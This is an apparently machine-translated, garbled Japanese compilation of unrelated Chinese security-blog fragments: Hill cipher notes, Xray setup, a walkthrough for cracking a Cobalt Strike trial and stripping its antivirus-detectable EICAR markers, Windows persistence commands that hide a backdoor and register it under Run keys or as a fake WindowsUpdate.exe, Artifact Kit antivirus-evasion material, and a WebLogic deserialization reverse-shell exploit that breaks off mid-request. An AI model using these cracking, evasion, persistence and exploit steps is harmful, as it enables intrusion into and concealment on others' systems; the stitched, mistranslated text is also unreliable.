のみが含まれています。ヒルパスワード(丘)は、アルファベット内の各文字の順序を対応する数字として使用します。 26.暗号化として使用されるマトリックス(つまり、キー)はZn26Z26Nでは可逆的でなければならないことに注意してください。そうしないと、デコードすることは不可能です。マトリックスの決定要因と26の共重力のみが可逆的です。これが例です

プレーンテキスト:行為

明の文化をマトリックスに入れてください。

⎡⎢⎣0219⎤⎥⎦[0219]キーは次のとおりです。

⎡⎢⎣6241131610201715⎤⎥⎦[6241131610201715]暗号化プロセスは次のとおりです。

⎡⎢⎣6241131610201715⎤⎥⎦⎡⎢⎣0219⎤⎥⎦α672222319⎤⎥⎦α15147⎤⎥⎦⎥⎦MOD26[6241131610201715] [0219]¹[67222319]するまった

パスワード:POH

cap4cryptool 010-1010ここでは、ISCC 2015 Base Decrypt 150を例として紹介します。タイトルはです

パスワード:

1。 Xray

のインストールと構成

1。linux[root@instance-7q32v011 opt] #wget https://github.com/chaitin/xray/releases/download/0.21.8/xray_linux_amd64.zip 1049983-20210117111856886-1676485258.png2。ファイルを解凍します[root@instance-7q32v011 opt] #unzip xray_linux_amd64.zip 1049983-20210117111857526-57001381.png3。 Xray実行可能ファイルを実行して、証明書と構成ファイルを生成する

[root@instance-7q32v011 opt] 1049983-20210117111858790-1103549357.png 1049983-20210117111859338-661677427.png

2。サーバーソースの構成

1。ログイン:githubアカウントでウェブサイトにログインすると、sckey( "send message"ページ)1049983-20210117111900075-2087231931.jpg2を取得できます。バインド:「WeChat Push」をクリックし、QRコードをスキャンして1049983-20210117111900502-1524337923.png3と同時にバインディングを完了します。メッセージを送信:http://Sc.ftqq.com/sckey.sendにGet Requestを送信して、WeChatでメッセージを受信できます。そのようなGETリクエストを生成する場合:https://sc.ftqq.com/scu100930te4d1

0x00概要

Cobaltstrikeは、イントラネットに浸透する商用リモートコントロールソフトウェアです。カスタムスクリプトの拡張をサポートし、非常に強力な機能を備えています。しばらく前に、Githubの優しい人がCobaltstrike 3.12の試行バージョンをリリースし、LZ1Yはすぐにひび割れたバージョンをリリースしました。熱狂的な兄弟(トライアルバージョンにはそのようなファイルはありません)が提供するXOR64.binで、比較的完璧な最新バージョンが誕生しました。最新のトライアルバージョンがどのように完全にクラックされたかを見てみましょう。

0x02は開始

Cobaltstrike(以下、CSと呼ばれる)メインコードはJavaで開発されており、それを逆転させる方がより友好的です。 jd-guiを使用して、cobaltstrike.jarファイルを逆コンパイルすると、コードがほとんど割れていないことがわかります。 Javaソースコードに混乱はありません。ただし、分解されたソースコードを表示する場合、//内部エラー//は多くの場所に表示されます。ここでは、Javaの逆コンパイルツールLuytenをお勧めします。Luytenは、Cobaltstrike.jarソースコードを取得するためにほぼ100%の逆コンパイルを取得できます。

CSライセンス処理ロジックは、common/license.javaファイルにあります。

パッケージ共通。

攻撃者をインポート。*;

javax.swing。*;

java.awt。*;

パブリッククラスライセンス

{

プライベートな静的長寿命;

今日のプライベート静的長い。

プライベート静的なロングスタート。

プライベートの静的な長い差。

private static long gettimesincestart(){

final prefs options=prefs.getPreferences();

license.today=system.currenttimemillis();

license.start=options.getLongNumber( 'cobaltstrike.start.int'、0l);

if(license.start==0l){

options.set( 'cobaltstrike.start.int'、license.today + '');

options.save();

license.start=license.today;

}

return license.difference=(license.today -license.start)/86400000l;

}

public static void checklicensegui(最終認証認証){

getTimesIncestart();

if(license.difference license.life || license.today -clense.start 0l){

joptionpane.showmessagedialog(null、 'あなたのコバルトストライクトライアルは現在期限切れになりました。

System.Exit(0);

}

それ以外{

final long left=license.life -license.difference;

文字列form=left + 'day';

if(left!=1L){

form +='s';

}

commonutils.print_warn( 'これはコバルトストライクのトライアルバージョンです。あなたは' + form + 'トライアルの左にあります。コバルトストライクを購入した場合。更新プログラムを実行してライセンスを入力します。');

commonutils.print_trial( '警告!このトライアルは標準的な防御に巻き込まれるために *構築されます。ライセンス製品にはこれらの制限がありません。

joptionpane.showmessagedialog(null、 'これはコバルトストライクのトライアルバージョンです。

}

}

public static boolean iStrial(){

trueを返します。

}

public static void checklicenseconsole(最終認証認証){

getTimesIncestart();

if(license.difference license.life || license.today -clense.start 0l){

commonutils.print_error( 'コバルトストライクトライアルが期限切れになりました。ライセンスを購入し、ソフトウェア更新機能を使用して続行してください。詳細については、 https://www.cobaltstrike.com/');

System.Exit(0);

}

それ以外{

final long left=license.life -license.difference;

文字列form=left + 'day';

if(left!=1L){

form +='s';

}

commonutils.print_warn( 'これはコバルトストライクのトライアルバージョンです。あなたは' + form + 'トライアルの左にあります。コバルトストライクを購入した場合。更新プログラムを実行してライセンスを入力します。');

commonutils.print_trial( '警告!このトライアルは標準的な防御に巻き込まれるために *構築されます。ライセンス製品にはこれらの制限がありません。

}

}

static {

license.life=21l;

license.today=0l;

license.start=0l;

license.difference=0l;

}

}

コードロジックは非常に明確です。ここには、パッチする2つの方向があります。

ライセンスを変更します。LifeInfinite Extensionトライアル

iStrial()の返品値を変更し、公式バージョンに偽造します

CSの多くの場所でのトライアルバージョンと公式バージョンの処理ロジックは異なるため、iStrial()の返品値を変更した後、ISTrial()関数が呼び出されるすべての場所を変更してコードを調整する必要があります。さらに、CSのトライアルバージョンは、いくつかの機能指紋と制限を残しており、対応する機能コードも削除する必要があります。

変更と再パッケージは、ひび割れのアイデアがわかったので、ソースコードを変更して再コンパイルする方法を見てみましょう。 Javaプログラミングでは、JARツールを使用して、一連の.classファイルをJARパッケージにパッケージ化して、他のJavaプログラムを使用することができます。また、JARパッケージの.classファイルのコンテンツを変更して、再コンパイルしてパッケージ化することもできます。たとえば、example.classをDemo.jarで変更して再コンパイルするプロセスは次のとおりです。

jd-gui、luyten、その他のツールを使用して、demo.jarパッケージのクラスをソースコードに逆コンパイルし、exple.javaを抽出します。

jar xvf demo.jarを実行してdemo.jarを解凍してjarパッケージのサブファイルを取得し(現在のディレクトリに解凍されることに注意してください)、example.javaファイルをexample.classファイルと同じディレクトリに配置します

javac -cp a.jar; b.jar; c.jar example.javaを再コンパイルして実行します。 (またはjavac -cp demo.jar emple.java)新しいExample.classファイルを取得します。

その中で、A.jar、B.jar、およびC.jarは依存関係であり、一般に、生の減圧Demo.jarパッケージに直接依存することができます。

コンパイルされたexample.classが元のexample.classファイルを置き換えることを確認してください(JD-GUIの逆コンパイルで表示できます)

Jar -uvf demo.jar com/some/path/example.classを実行するには、demo.jarパッケージを更新します

JARパッケージでクラスファイルを更新する場合、新しいクラスファイルディレクトリパスを元のパッケージパスと一致させる必要があります。たとえば、aggressor.aggressorclient.javaを変更して再コンパイルした後、JARパッケージを更新するコマンドは次のとおりです。

kingx modified_java_files jar -uvf cobaltstrike-with-xor64.jar aggressor/aggressorclient*.class

: aggressor/aggressorclient $ 1.クラス(入力=650)(出力=403)(圧縮38%)の追加

: aggressor/aggressorclient $ 2.class(input=1263)(output=704)(圧縮44%)の追加

: aggressor/aggressorclient.class(input=11115)(output=5196)(圧縮53%)の追加

おそらく問題に遭遇しました。変更されたJavaファイルをクラスファイルに再コンパイルすると、多くの奇妙なエラーが発生する可能性があります。分解されたソースコードのエラーによって引き起こされる場合があります。現時点では、Luyten、Jad、JD-GUIなどの逆コンパイルツールを組み合わせて、正しいソースコードに復元してから再コンパイルすることができます。例:aggressorclient.java、jad aggressor/aggressorclient*.classおよびluytenの分解ソースコードは異なります。

0x03試行バージョンパッチの詳細な分析

TIPS:次のコードスニペットは、行の最初の行です - 削除を表し、 +は新しい表現

パッチトライアルバージョンはcommon.licenseを変更し、checklicensegui()およびchecklicenseconsole()関数ボディを削除し、iStrial()のreturn値をtrueに変更します

メインプログラムタイトルAggressor.aggressorclientを変更し、getTitle()関数を変更します

リスナーの数の制限を解放します。 TeamServerは、デフォルトでのみ1人のリスナーのみを聴くことができます。コードを変更して制限を削除できます。

aggressor.dialogs.listenerdialog、次のコードを削除します。

.

else if(ristener.isegressbeacon(payload)datautils.isbeacondefined(this.data)!name.equals(datautils.getegressbeaconlistener(this.data)){

Dialogutils.Showerror( 'チームサーバーごとに1つの出口ビーコンのみを定義できます。

}

.

3。 EICARバックドアフィンガープリント機能を削除します

試験バージョンには、EICAR機能文字を備えたいくつかの場所があります:x5o!p%@ap [4 \ pzx54(p^)7cc)7} $ eicar-standard-antivirus-test-file!$ h+h*

common.listenerconfig

パッド()機能を変更します:

result.append( '5o!p%@ap [4 \\ pzx54(p^)7cc)7} $ eicar-standard-antivirus-test-file!$ h+h*\ u0000');

result.append( '123 \ u0000');

リソース/template.x64.ps1、resources/template.x86.ps1

$ eicar='x5o!p%@ap [4 \ pzx54(p^)7cc)7} $ eicar-standard-antivirus-test-file!$ h+h*'

$ eicar=''

server.profileedits

c2profile.addcommand('。http-get.server '、'!header '、' x-malware: x5o!p%@ap [4 \\ pzx54(p^)7cc)7} $ eicar-standard-test-file!$ h+h*');

c2profile.addcommand( '。http-post.server'、 '!header'、 'x-malware: x5o!p%@ap [4 \\ pzx54(p^)7cc)7} $ eicar-standard-antivirus-test-file!$ h+h*');

c2profile.addcommand( '。http-stager.server'、 '!header'、 'x-malware: x5o!p%@ap [4 \\ pzx54(p^)7cc)7} $ eicar-standard-antivirus-test-file!$ h+h*');

c2profile.addcommand( '。stage.transform-x86'、 'append'、 'x5o!p%@ap [4 \\ pzx54(p^)7cc)7} $ eicar-standard-antivirus-test-file!$ h+h*');

c2profile.addcommand( '。stage.transform-x64'、 'append'、 'x5o!p%@ap [4 \\ pzx54(p^)7cc)7} $ eicar-standard-antivirus-test-file!$ h+h*');

common.artifactutils

ライセンスの返品値が虚偽に変更されているため、次の段落が変更されているかどうかは効果があります。

if(license.istrial()){

Packer.AddString( 'x5o!p%@ap [4 \\ pzx54(p^)7cc)7} $ eicar-standard-antivirus-test-file!$ h+h*');

commonutils.print_trial( 'eicar文字列を' + sに追加);

}

xor64.binを追加してペイロードを生成すると、common.artifactutilsのxorencode()がエンコードのために呼び出されます。

public static byte [] _xorencode(final byte [] data、final string arch){

assertutils.testarch(arch);

if( 'x86'.equals(arch)){

final byte [] decoder=xorstub();

final byte [] payload=xorencoder.encode(data);

return commonutils.join(decoder、payload);

}

if( 'x64'.equals(arch)){

final byte [] decoder=commonutils.readresource( 'resources/xor64.bin');

final byte [] payload=xorencoder.encode(data);

return commonutils.join(decoder、payload);

}

新しいバイトを返します[0];

}

public static byte [] xorencode(final byte [] data、final string arch){

if(license.istrial()){

commonutils.print_trial( 'disabled' + arch + 'ペイロード段階エンコード');

データを返す;

}

assertutils.test(data.length 16384、 'xorencode stager(または他の小さなもの)で使用されます');

return _xorencode(data、arch);

}

トライアルバージョンはペイロードステージエンコーディングを実行しないため、試用版パッケージにはXor.bin/xor64.binファイルは含まれません。これらの2つのファイルが存在する場合は、リソース/xor.binおよびリソース/xor64.binパスに追加できます。 GitHubの熱狂的な男はXOR64生成スクリプトを提供します:https://Github.com/verctor/cs_xor64

ソースコードを1つずつ変更した後、それを再コンパイルしてCobaltstrike.jarパッケージに更新し、元のJARパッケージをコピーして交換します。

出典:https://kingx.me/cobaltstrike-patch.html?nsukey=%2Bdg38hxq7jl6bumazqcy6jvfumtbx1gsfudvo9fixqpb%2fkqderiienvokw3wflt8kkenwwswswwswswswswswwswwswwswwswwswwswwswwswwwswwswwswwswwswwswwswwswwswwwswwwsq0d8e1w2m77 kjzy9tgrzayatztd6xzibijhfgirssm4iol9c4txrhlv%2banffkxbzeg0o9gxtcj%2f3 JK%2BBOXBXM13S71RM3RLGZQQQYWYH1PXD%2BDQQNYDS7ZSJNNGHZQVEFKQW6KQ%3D%3D

1。レジストリスタートアップに関する注意:この方法は、タスクを維持するためにこの方法で権限を維持するために使用されます。ExeはCSによって生成されたバックドアファイルです。ここでは、バックドアファイルを使用して、隠されたファイルの殺害を避けることができます。 Shell Attrib C: \ Windows \ Task.exe +S +H 1049983-20240926132220725-370366897.pngレジストリスタートアップバックドアファイルReg Add hklm \ Software \ Microsoft \ Windows \ currentversion \ run /v 1049983-20240926132222308-1456730551.png

2。Windowsサービスは、Hidden File Shell Attrib C: \ Windows \ Task.exe +S +Hサービスを自動的に起動します。実行バックドアファイルシェルを自動的に開始します。1049983-20240926132223610-567257077.pngまたは1049983-20240926132224397-1493573486.png 1049983-20240926132225014-118523183.png 1049983-20240926132225617-1332830607.png3.sharpstay.exe自動化タスクはSharpStay.exe Action=Debug Command='C3: \ Windows 1049983-20240926132227032-850389686.png

4. Service Directory(Win7 System isのみ有効)を自動的に開始するシェルコピー 'c: \ windows \ task.exe' 'c: \ users \ administrator \ appdata \ roaming \ roaming \ windows \ start menu \ start menu \ programs \ spartup \ windowsupdate.exe '%ProgramData%\ Microsoft \ Windows \ Start Menu \ Programs \ Startup \ WindowsUpDate.Exe' /YShell Attrib 'C: \ Users \ Administrator \ AppData \ Roaming

インストールとセットアップ

システム要件

コバルトストライクの最小システム要件

2 GHz+以上のCPU

2 GB RAM

500MB +利用可能なスペース

AmazonのEC2では、少なくともCPU(C1.Medium、1.7 GB)インスタンスホストのコア数を少なくとも使用します。

サポートされているオペレーティングシステム

次のシステムは、コバルトストライクチームサーバーをサポートしています。

Kali Linux 2018.4 -AMD64

Ubuntu Linux 16.04、18.04 -x86_64

コバルトストライククライアントは、次のシステムで実行されます。

Windows 7以降

macOS x 10.13以上

Kali Linux 2018.4 -AMD64

Ubuntu Linux 16.04、18.04 -x86_64

コバルトストライクを更新

コバルトストライクの機能を活用するには、ライセンスキーを使用してライセンス製品を更新する必要があります。このトライアルには、これを行うアップデーターが含まれています

wbl3cowuh1x8096.gif

このプログラムはライセンスキーを受け入れ、最新のコバルトストライクバージョンを取得します。認可されたコバルトストライクソフトウェアには、アンチウイルス回避が含まれ、裁判プログラムで免許のない宣言を削除します。

windows

1。コバルトストライクフォルダーを入力します

2。update.batをダブルクリックします

linux

次のコンテンツを入力してください。

Cd/path/to/cobaltstrike。/アップデート

macos x

1。コバルトストライクフォルダーを入力します

2.「更新」をダブルクリックする

コバルトストライク。コマンド」

ライセンスキーを使用してチームを更新してください

サーバーおよびクライアントソフトウェア。コバルトストライクは通常、各ユーザーに基づいてライセンスされます。チームサーバーは別のライセンスを必要としません。

ライセンスキーをリセットする方法

Cobalt Strikeの更新プログラムは、キーを一度だけ要求します。その後、それはあなたの鍵を覚えています。キーを変更する必要がある場合は、ホームディレクトリに保存されている.cobaltstrike.licenseファイルを削除するだけです。更新プログラムをもう一度実行すると、Cobalt Strikeが新しいキーを求めます。

コバルトストライクのインストール

コバルトストライクは、Oracle Java 1.8、Oracle Java 11、またはOpenJDK 11環境に依存しています。

linux

1。Linuxに推奨されるJava環境を設定する

2。Cobaltstrike-trial.tgzを解凍します

Tar ZXVF Cobaltstrike-Trial.tgz

macos x

1。Macos xに推奨されるJava環境を設定する

2。CobaltStrike-Trial.dmgファイルをダブルクリックしてインストールします。

3.コバルトストライクフォルダーを「アプリケーション」フォルダーにドラッグします。

windows

1。Windowsに推奨されるJava環境を設定する

2。コバルトをダウンロードしてインストールします

ストライクは、以前にアンチウイルスソフトウェアを無効にします。

3.お気に入りのzipツールを使用して、Cobaltstrike-trial.zipを希望のインストール場所に解凍します。

コバルトストライクを開始

チームサーバー

コバルトストライクは、クライアントとサーバーに分割されます。サーバー側は、ビーコンペイロードのコントローラーであるチームサーバーと呼ばれ、コバルトストライクにもソーシャルエンジニアリング機能があります。チームサーバーは、Cobalt Strikeによって収集されたデータを保存し、ロギングを管理します。

コバルトストライクチームサーバーは、サポートされているオペレーティングシステムのルートとして実行する必要があります。 Cobalt Strike Team Serverを開始するには、Cobalt Strike Linuxパッケージに付属のTeamServerスクリプトを使用します。

./TeamServerサーバーIPアドレスパスワード

https://www.cobaltstrike.com/images/teamserver.png

チームサーバーには、2つの必要なパラメーターと2つのオプションのパラメーターがあります。 1つ目は、チームサーバーのIPアドレスです。 Cobalt Strikeは、この値をデフォルトサーバーホストとして使用します。 2つ目は、チームメンバーがコバルトを使用するために使用します

Strikeクライアントがチームサーバーに接続するパスワード。

3番目のパラメーターはオプションです。このパラメーターは、順応性のあるC2通信構成ファイルを指定します。

4番目のパラメーターもオプションです。このパラメーターは、yyyy-mm-dd形式の終了日を指定します。チームサーバーは、この終了日を生成する各ビーコンに埋め込みます。ビーコンペイロードは、この終了日または後に実行することを拒否します。ビーコンペイロードが起きているか、この終了日以降に起動すると、実行されます。

チームサーバーが起動すると、チームサーバーSSL証明書のSHA256ハッシュを公開します。このハッシュをチームメンバーに配布する必要があります。チームメンバーが接続したときのコバルト

ストライククライアントは、チームサーバーで認証する前にこのハッシュを検証するかどうかを尋ねます。これは、中間の攻撃に対する重要な保護です。

コバルトストライククライアント

Cobalt Strikeクライアントはチームサーバーに接続します。 Cobalt Strikeクライアントを開始するには、パッケージに付属のスタートアッププログラムを使用してください。パラメーターは含まれていません。コバルト時

ストライククライアントが起動すると、接続ダイアログが表示されます。

Linuxの下:

j2emnn5izkw8098.jpg

Windowsの下:

32o2jfrra5h8099.jpg

https://www.cobaltstrike.com/images/connect.png

「ホスト」フィールドでチームサーバーのIPアドレスを指定します。チームサーバーのデフォルトポートは50050です。この設定を変更する人はほとんどいません。 「ユーザー」フィールドは、チームサーバーのユーザー名です。これをあなたの名前に変更してください。 「パスワード」フィールドは、チームサーバーのパスワードです。 [接続]をクリックして、コバルトストライクチームサーバーに接続します。これがこのチームサーバーへの最初の接続である場合、Cobalt Strikeは、このチームサーバーのSSL証明書のSHA256ハッシュを認識しているかどうかを尋ねます。必要に応じて、[OK]をクリックすると、Cobalt Strikeクライアントがサーバーに接続します。コバルトストライクは、このSHA256ハッシュも覚えています。

uzwib0p5e228101.jpg

Cobalt Strike-Preferences-Fingerprintsを使用してこれらを管理できます

希望。

ulmw3nhgcbg8102.jpg

コバルトストライクは、あなたが接続するチームサーバーを追跡し、あなたの情報を覚えています。 [接続]ダイアログの左側からチームサーバープロファイルのいずれかを選択して、[接続]ダイアログにその情報を自動的に入力します。コバルトストライクプレフェレンスを使用することもできます -

チームサーバーはこの接続を変更します。

pgkzd20nevq8103.jpg

関数参照

アプリケーション

制御されたアプリケーションを表示するには、表示アプリケーションにアクセスしてください。これにより、System Profilerによって制御されたすべてのアプリケーション情報を示すリストを掲載したアプリケーションタブが開きます。

アナリストのヒント

アプリケーションブラウザには、ターゲットを攻撃する方法に使用する多くの情報があります。この出力を最大限に活用する方法は次のとおりです。

内部IPアドレスフィールドは、危険なしに不明な署名Javaアプレットから収集されます。このフィールドが不明であると表示されている場合、Javaアプレットが実行されていない可能性があります。ここにIPアドレスが表示された場合、署名されていないJavaアプレットが実行されたことを意味します。

Internet Explorerは、ユーザーインストールのために基本バージョン情報を出力します。 Internet Explorerが更新情報を取得した後、その出力のバージョン情報は変更されません。 Cobalt Strikeは、jscript.dllバージョン番号を使用して、インターネットエクスプローラーのパッチレベルを決定します。 support.microsoft.comに移動し、jscript.dllのビルド番号(バージョン文字列の3番目の番号)を検索して、インターネットエクスプローラーの更新バージョン情報を表示します。

A*64アプリケーションの横にあることは、X64ビットアプリケーションであることを意味します。

Attacks-Web Dive-by-System Profiter

auynin0ewuu8104.gif

om42eyy1sxg8105.gif

クライアント側のreconaissance

viea2mszbcp8106.jpg

r1mm55cft5f8107.jpg

filynyzgbrp8108.jpg

yksijgsad0c8109.jpg 1cssor5m23m8110.jpg

o0nupx31iog8111.jpg

0q0yflu03hs8112.jpg

zwtguasaqrn8113.jpg

f32p4a0emnz8114.jpg

zuw0ofvb20h8115.jpg

c5dpsxutjl28116.jpg

アーチファクト

Kitcobalt Strikeは、Artifactキットを使用して、実行可能ファイルとDLLを生成します。 Artifact Kitは、実行可能ファイルとDLLの検査を構築するための商用フレームワークであり、特定のウイルス対策製品を逃れることができます。

artifactキット理論

従来のウイルス対策製品は、署名を使用して既知の悪意のある情報を特定します。既知の悪意のあるシェルコードを実行可能ファイルに埋め込むと、アンチウイルス製品はシェルコードを認識し、実行可能ファイルをマルウェアとしてマークします。

この検出を逃れるために、攻撃者がシェルコードを何らかの形で肥大化し、バイナリファイルにネストすることが一般的です。この難読化は、単純な文字列検索を使用して悪意のあるコードを識別するウイルス対策製品を逃れることができます。

ウイルスライブラリが更新された後にチェックする仮想サンドボックス内の実行可能ファイルをシミュレートする多くのウイルス対策製品があります。各シミュレーションの実行ステップを通じて、ウイルス対策製品はシミュレートされたプロセススペースの既知のエラーをチェックします。既知のエラーが発生した場合、ウイルス対策製品は実行可能ファイルまたはDLLを悪意があるとマークします。この手法により、多くのエンコーダーとローダーを、署名ベースのウイルス対策製品の既知のエラーを非表示にしようとするAVSによってチェックできます。

対照的に、コバルトストライキには、ウイルス対策砂場に制限があります。完全な仮想マシンではありません。アンチウイルスサンドボックスはシステムの動作をシミュレートできません。 Artifact Kitは、バイナリファイル内にあるシェルコードを復元するためにシミュレートしない特定の動作に依存する実行可能ファイルとDLLテンプレートのコレクションです。

これらの手法の1つ[Artifact KitのSRC-Common/Bypass-Pipe.c]を参照してください)は、名前付きパイプを介してシェルコードを提供する実行可能ファイルとDLLを生成します。アンチウイルスサンドボックスが名前付きパイプをシミュレートできない場合、既知の悪意のあるシェルコードは見つかりません。

無効なアーティファクトキットの理由

もちろん、アンチウイルス製品はアーティファクトKIの特定の特徴を破壊する可能性があります。アンチウイルスソフトウェアベンダーが使用しているアーティファクトキットのデジタル署名チェックを実行すると、作成する実行可能ファイルとDLLがAVによってチェックされます。時間が経つにつれて、これはコバルトストライク2.5以下で起こり始めました。 Artifactキットを最大限に活用したい場合は、これらのテクノロジーの1つを基礎として使用して、独自のArtifactキットスイートを構築します。

アンチウイルスベンダーが最初に、実行可能ファイル、実行可能ファイル、またはDLLに既知のリスクまたは未知のリスクがあるか、未知のリスクがあるかを最初に決定するため、これで十分です。これらのウイルス対策製品の一部は、未知の実行可能ファイルとDLLをウイルス対策メーカーに自動的に送信して、さらなる分析とアラートユーザーを使用します。不明な実行可能ファイルとDLLを悪意を持って扱います。ウイルス対策製品とその設定に依存します。

注:この場合、「難読化」は利用できません。あなたは別のチェック方法に直面しており、それに応じて変更する必要があります。アプリケーションホワイトリストを扱うのと同じように、これらの状況を処理します。ペイロード実行可能性を効率的にする既知の利用可能なプログラム(PowerShellなど)を見つけようとする必要があります。

アーティファクトキットの使用方法

認定されたコバルトストライクからヘルプエルセナを入力して、アーティファクトキットをダウンロードします。

Strategic Cyber LLCは、Artifactキットを.tgzファイルとして配布しています。 Tarコマンドを使用して減圧します。 Artifactキットには、build.shスクリプトが含まれています。 Kali Linuxでこのスクリプトを実行し、Windows Crossコンパイラ用の最小限のGNUを使用してデフォルトのアーティファクトを構築します

キットテクノロジー。

神器套件构建过程

artifactキットビルドプロセス

アーティファクトごとにArtifactキットビルドスクリプト

キットテクノロジーは、テンプレートを含むフォルダーを作成します。コバルトストライクテクノロジーを使用するには、コバルトストライクスクリプトにアクセスしてください

マネージャー、次にそのフォルダーからartifact.cnaスクリプトをロードします。

特定のニーズを満たすために、Artifactキットとそのコードを変更することをお勧めします。熟練したCプログラマーはArtifactキットでさらに多くのことを行うことができますが、非プログラマーはArtifactキットを使用することもできます。たとえば、主要なウイルス対策製品は、リリースされるたびに、コバルトストライクの試行バージョンで実行可能ファイルにデジタル署名を書くのが好きです。コバルトまで

Strike 2.5の後、Cobalt Strikeのトライアルとライセンスバージョンは、実行可能ファイルとDLLで名前付きパイプテクノロジーを使用します。ベンダーは、実行可能ファイルが使用する名前付きパイプ文字列のデジタル署名も書きます。実行後に独自のキャラクター機能を解放するデジタル署名を逃れることは、パイプラインテクノロジーのソースコードでパイプラインの名前を変更するのと同じくらい簡単です。

artifactキット使用

1wv12ioqunj8118.jpg

zknjvl3fwwl8119.jpg

4ubt02114gm8120.jpg

vvgzdw2bp1o8121.jpg

4mfk1jtgvt48122.jpg

vgwjqb13vn58123.jpg

1131xmav1m48124.jpg

qcvtjsv5jwf8125.jpg

24tgii2f4ev8126.jpg

ta0mztqhice8127.jpg

コバルト

ストライクライセンスファイルCobalt Strikeのライセンスバージョンでは、開始するには有効な承認ファイルが必要です。承認ファイルは、コバルトストライク製品のライセンスに関する情報を提供する暗号化されたブロブです。この情報には、ライセンスキー、ライセンスの有効期限、ライセンスキーにバインドされたID番号が含まれます。

認証文書を取得する方法

ビルトインアップデートプログラムは、実行時にCobalt Strikeの更新サーバーから認証ファイルを要求します(ビルトインアップデートプログラム)。あなたのコバルトでさえ

ストライクバージョンは最新のものであり、更新プログラムは新しい認証ファイルもダウンロードします。これにより、承認ファイルを戦略的サイバーLLCの記録のライセンス日付と同期させることができます。

ライセンスの有効期限が切れた後に何が起こるか

Cobalt Strikeは、承認ファイルが期限切れになったときに起動をブロックします。 Cobalt Strikeが実行されている間に承認ファイルが失敗した場合、影響はありません。ライセンスされたコバルトストライク製品は、起動時に認証ファイルを確認します。

認証文書はいつ失効しますか?

コバルトストライクライセンスの有効期限が切れると、承認文書が期限切れになります。 Cobalt Strikeライセンスを更新する場合は、更新プログラムを実行して、最新情報で認証ファイルを更新します。

ヘルプシステム情報に移動して、承認ファイルの有効期限が切れたときを見つけてください。 「他の」セクションの下に「有効な」値を見つけます。クライアント情報とチームを覚えておいてください

サーバー情報には異なる値がある場合があります(使用されるライセンスキーによって、および承認ファイルが最後に更新されたとき)。

また、Cobalt Strike Authorization Documentが有効期限から30日以内に警告を発行したときに警告を発します。

承認ファイルを閉じた環境に転送する方法

承認ファイルはcobaltstrike.authです。 Updaterは常にこのファイルをCobaltstrike.jarで配置します。閉じた環境でのコバルトストライクを使用してください:

1。https://www.cobaltstrike.com/downloadでコバルトストライクトライアルパッケージをダウンロードします

2.インターネット接続システムからコバルトストライクトライアルパッケージを更新する

3.更新されたCobaltstrikeフォルダーの内容を環境にコピーします。最も重要なファイルは、cobaltstrike.jarとcobaltstrike.authです。

コバルトストライクは、Strategic Cyber LLC

を呼び出します

0x00イベントの背景

2019年4月17日、National Information Securityの脆弱性共有プラットフォーム(CNVD)には、Oracle Weblogic async Deserialization Remot Command実行脆弱性(CNVD-C-2019-48814)が含まれていました。現在、公式のパッチはリリースされておらず、脆弱性の詳細は明らかにされていません。この脆弱性に関するCNVDの包括的な評価は「高リスク」です

0x01脆弱性分析

WebLogic Serverは、米国のOracleが開発したクラウドおよび従来の環境向けのアプリケーションサービスミドルウェアです。開発から生産までのアプリケーションのライフサイクル管理全体をサポートし、アプリケーションの展開と管理を簡素化する最新の軽量開発プラットフォームを提供します。

WEBLOGICの一部のバージョンにデフォルトで含まれるWLS9_ASYNC_RESPONSEパッケージは、WeBlogicサーバーに非同期通信サービスを提供します。 WARパケットには入力情報の脱毛に欠陥があるため、攻撃者は慎重に構築された悪意のあるHTTP要求を送信し、ターゲットサーバーにアクセス許可を取得し、許可なしにコマンドをリモートで実行できます。

CNVDの脆弱性の包括的な評価は「高リスク」です。

0x02脆弱性の説明

最近、インターネットは、weblogicwls9-asyncでリモートコマンドの実行をゆるくする脆弱性を暴露しました。攻撃者は、この脆弱性を悪用して、許可なしにコマンドをリモートで実行します。脆弱性のリスクレベルは高いです。現在、公式のパッチはリリースされておらず、脆弱性の詳細は明らかにされていません。

0x02脆弱性インパクトスコープ

1。影響製品の影響:

Oracle Weblogic Server10.3.6.0.0

Oracle Weblogic Server12.1.3.0.0

Oracle Weblogic Server12.2.1.1.0

Oracle Weblogic Server12.2.1.2.0

2。影響コンポーネントへの影響:

bea_wls9_async_response.war

wsat.war

0x03脆弱性の再発

1。Liunxの下での環境構築

攻撃航空機:KALI2019

脆弱性ターゲットマシン:ubuntu16.04(docker vulhub)weblogic10.3.6(wls1036_generic.jar)

1. Ubuntu 16.04にDockerとDocker-Composeをインストールする:

(1)。 PIPをインストールします

curl -s https://bootstrap.pypa.io/get-pip.py | Python3

(2)。 Dockerをインストールします

curl -s https://get.docker.com/| sh

(3)。 Dockerサービスを開始します

Service Docker Start

(4)。 Docker Composeをインストールします

PIPインストールDocker-Compose

2。使い方

(1)。脆弱性環境プロジェクトのダウンロード

git clone 3https://github.com/vulhub/vulhub.git

(2)。 Nexus利用環境に入ります

CD vulhub/weblogic/cve-2017-10271

(3)。次のコマンドを実行して、Weblogicサービスを開始します

docker -compose up -d

5lvfp0nrq0v8051.pngしばらく待って、http://Your-IP:7001にアクセスすると、404ページが表示され、Weblogicが正常に開始されたことを示します。

hu3ecnrubim8052.png

3.検出方法パスhttp://IP:port/_async/asyncreSponsServiceにアクセスすることにより、ユーザーはコンポーネントを有効にするかどうかを判断できます。次のページに戻ると、このコンポーネントが有効になります。タイムリーに保護対策を講じてください

URL(http://IP:ポート/_async/)を開くと、エラー403をプロンプトし、「RFC 2068 HyperText Transfer Protocol-HTTP/1.13360から」を含み、Oracle Oracle Oracle Oracle Oracle Oracle Oracle Oracle Oracle wlogic WLS9-Async Deserialialize deserialize desirialize command decution bulnerabilityがあります。

http://149.248.54.8233607001/_async/

f3fnxcwsglg8053.png

http://149.248.54.8233607001/_ASYNC/ASYNCRESPONSESSESSERSESSESSESSESSESSESSESSESSEST

zi5tejedytc8054.png

2。Linuxの下での脆弱性の搾取

1。リバウンドシェル利用:

(1)。攻撃マシンホストのIPアドレスは次のとおりであり、NCを使用してリバウンドポートを監視します

walnjgbbnlf8055.png qxxbz4hsik08056.png

(2)。次の図に示すように、Burpsuitを介して攻撃パケットをWeblogicサービスに送信します

post/_async/asyncreSponseservice http/1.1

host: IP:port

Content-Length: 853

Accept-Encoding: gzip、deflate

soapaction:

Accept: */*

user-agent: apache-httpclient/4.1.1(java 1.5)

Connection: Keep-Alive

Content-Type:テキスト/XML

soapenv:envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/' xmlns:wsa='http://www.w3.w3.org/2005/08/addressing' xmlns:asy='http://www.bea.com/async/asyncresponseservice'

soapenv3360header

